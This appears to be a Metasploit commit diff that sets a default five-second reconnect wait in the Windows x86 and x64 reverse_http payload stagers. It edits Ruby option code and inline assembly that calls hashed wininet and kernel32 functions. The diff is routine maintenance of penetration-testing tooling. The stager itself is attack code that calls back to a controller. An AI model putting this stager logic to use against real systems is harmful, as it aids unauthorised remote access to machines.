The option StagerRetryWait will be used by default with the value of 5 seconds

Author: thealpiste

lib/msf/core/payload/windows/reverse_http.rb

@@ -30,7 +30,7 @@ def initialize(*args)
     register_advanced_options([
         OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
         OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
-        OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts']),
+        OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
         OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
         OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
         OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
@@ -160,7 +160,7 @@ def required_space
   def asm_reverse_http(opts={})
 
     retry_count   = opts[:retry_count].to_i
-    retry_wait   = opts[:retry_wait] ? (opts[:retry_wait].to_i * 1000) : nil
+    retry_wait   = opts[:retry_wait].to_i * 1000
     proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
     proxy_info    = ""
 
@@ -359,18 +359,14 @@ def asm_reverse_http(opts={})
         push 0x7B18062D        ; hash( "wininet.dll", "HttpSendRequestA" )
         call ebp
         test eax,eax
-        jnz allocate_memory
+        jnz allocate_memory  
+   
+     set_wait:
+        push #{retry_wait}     ; dwMilliseconds
+        push 0xE035F044        ; hash( "kernel32.dll", "Sleep" )
+        call ebp               ; Sleep( dwMilliseconds );
       ^
-
-    if retry_wait
-      asm << %Q^
-        set_wait:
-          push #{retry_wait}     ; dwMilliseconds
-          push 0xE035F044        ; hash( "kernel32.dll", "Sleep" )
-          call ebp               ; Sleep( dwMilliseconds );
-        ^
-    end
-
+    
     if retry_count > 0
       asm << %Q^
         try_it_again:

lib/msf/core/payload/windows/x64/reverse_http.rb

@@ -30,7 +30,7 @@ def initialize(*args)
     register_advanced_options([
         OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
         OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
-        OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts']),
+        OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
         OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
         OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
         OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
@@ -159,7 +159,7 @@ def required_space
   def asm_reverse_http(opts={})
 
     retry_count   = opts[:retry_count].to_i
-    retry_wait   = opts[:retry_wait] ? (opts[:retry_wait].to_i * 1000) : nil
+    retry_wait   = opts[:retry_wait].to_i * 1000
     proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
     proxy_info    = ""
 
@@ -366,16 +366,13 @@ def asm_reverse_http(opts={})
         call rbp
         test eax, eax
         jnz allocate_memory
+           
+      set_wait:
+        mov rcx, #{retry_wait}        ; dwMilliseconds
+        mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
+        call rbp                      ; Sleep( dwMilliseconds );
     ^
-
-    if retry_wait
-      asm << %Q^
-        set_wait:
-          mov rcx, #{retry_wait}     ; dwMilliseconds
-          mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
-          call rbp               ; Sleep( dwMilliseconds );
-        ^
-    end
+    
 
     if retry_count > 0
       asm << %Q^